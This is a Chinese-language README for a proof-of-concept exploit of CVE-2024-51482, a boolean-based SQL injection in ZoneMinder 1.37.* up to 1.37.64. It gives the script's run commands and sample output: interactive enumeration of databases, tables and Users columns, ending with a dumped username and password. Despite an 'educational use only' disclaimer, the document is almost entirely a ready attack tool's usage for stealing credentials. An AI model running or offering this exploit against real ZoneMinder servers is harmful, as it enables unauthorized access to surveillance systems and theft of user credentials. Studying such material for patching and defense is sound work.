
CVE-2024-51482 ZoneMinder v1.37.* <= 1.37.64 poc
CVE-2024-51482 poc.py
默认情况下,该脚本枚举 zm 数据库,从 Users 表提取数据,并导出 Username+Password 列。
如果存在这4项,你将获得用户名和密码哈希。
有关该漏洞的更详细信息,请参见以下链接: https://nvd.nist.gov/vuln/detail/CVE-2024-51482
ZoneMinder 是一个免费的开源闭路电视软件应用程序。
ZoneMinder v1.37.* <= 1.37.64 在 web/ajax/event.php 函数中存在基于布尔的SQL注入漏洞。
该漏洞已在 1.37.65 版本中修复。
此脚本仅供教育用途。
请勿将其用于非法目的。
如果这样做,责任完全在你;我不对任何滥用行为负责。
默认检查 ZM 数据库、Users 表、Username+Password 列
python3 poc.py -i 127.0.0.1
[*] 正在枚举数据库 'zm.Users'
[!] 找到用户和密码:
root:password123
手动遍历数据库、表和列
python3 poc.py -i 127.0.0.1 --discovery
[*] 提取所有数据库名称:
information_schema
zm
[*] 未发现更多数据库
[+] 成功提取数据库名称:
1) information_schema
2) zm
选择要枚举表的数据库 [1-2]:2
[*] 正在从数据库 'zm' 提取表:
Snapshots_Events
Maps
Events_Week
Object_Types
Models
MontageLayouts
Monitor_Status
Event_Data
States
TriggersX10
Storage
Logs
Snapshots
Reports
Groups
Tags
ControlPresets
Users
Events_Month
Groups_Permissions
Server_Stats
Filters
Frames
Events_Day
Groups_Monitors
Monitors
Zones
Stats
Devices
User_Preferences
Monitors_Permissions
Config
Sessions
Events_Archived
Controls
ZonePresets
MonitorPresets
Events
Manufacturers
Event_Summaries
Servers
Events_Tags
Events_Hour
[*] 未在数据库 'zm' 中发现更多表
[+] 成功提取数据库 'zm' 中的表:
1) Snapshots_Events
2) Maps
3) Events_Week
4) Object_Types
5) Models
6) MontageLayouts
7) Monitor_Status
8) Event_Data
9) States
10) TriggersX10
11) Storage
12) Logs
13) Snapshots
14) Reports
15) Groups
16) Tags
17) ControlPresets
18) Users
19) Events_Month
20) Groups_Permissions
21) Server_Stats
22) Filters
23) Frames
24) Events_Day
25) Groups_Monitors
26) Monitors
27) Zones
28) Stats
29) Devices
30) User_Preferences
31) Monitors_Permissions
32) Config
33) Sessions
34) Events_Archived
35) Controls
36) ZonePresets
37) MonitorPresets
38) Events
39) Manufacturers
40) Event_Summaries
41) Servers
42) Events_Tags
43) Events_Hour
选择要枚举列的表 [1-43]:18
[*] 正在从数据库 'zm' 的表 'Users' 中提取列:
Id int(10) unsigned
Username varchar(64)
Password varchar(64)
Name varchar(64)
Email varchar(64)
Phone varchar(64)
Language varchar(8)
Enabled tinyint(3) unsigned
Stream enum('None','View')
Events enum('None','View','Edit')
Control enum('None','View','Edit')
Monitors enum('None','View','Edit','Cre
Groups enum('None','View','Edit')
Devices enum('None','View','Edit')
Snapshots enum('None','View','Edit')
System enum('None','View','Edit')
MaxBandwidth varchar(16)
TokenMinExpiry bigint(20) unsigned
APIEnabled tinyint(3) unsigned
HomeView varchar(64)
[*] 未在表 'Users' 中发现更多列
[+] 表 'Users' 中的列:
列名 类型
----------------------------------------
1) Id int(10) unsigned
2) Username varchar(64)
3) Password varchar(64)
4) Name varchar(64)
5) Email varchar(64)
6) Phone varchar(64)
7) Language varchar(8)
8) Enabled tinyint(3) unsigned
9) Stream enum('None','View')
10) Events enum('None','View','Edit')
11) Control enum('None','View','Edit')
12) Monitors enum('None','View','Edit','Cre
13) Groups enum('None','View','Edit')
14) Devices enum('None','View','Edit')
15) Snapshots enum('None','View','Edit')
16) System enum('None','View','Edit')
17) MaxBandwidth varchar(16)
18) TokenMinExpiry bigint(20) unsigned
19) APIEnabled tinyint(3) unsigned
20) HomeView varchar(64)
选择要导出数据的列(逗号分隔)[1-20] 或按 Enter 跳过:2,3
[*] 正在从数据库 'zm' 的表 'Users' 的列 'Username' 中导出数据:
root
[*] 正在从数据库 'zm' 的表 'Users' 的列 'Password' 中导出数据:
password123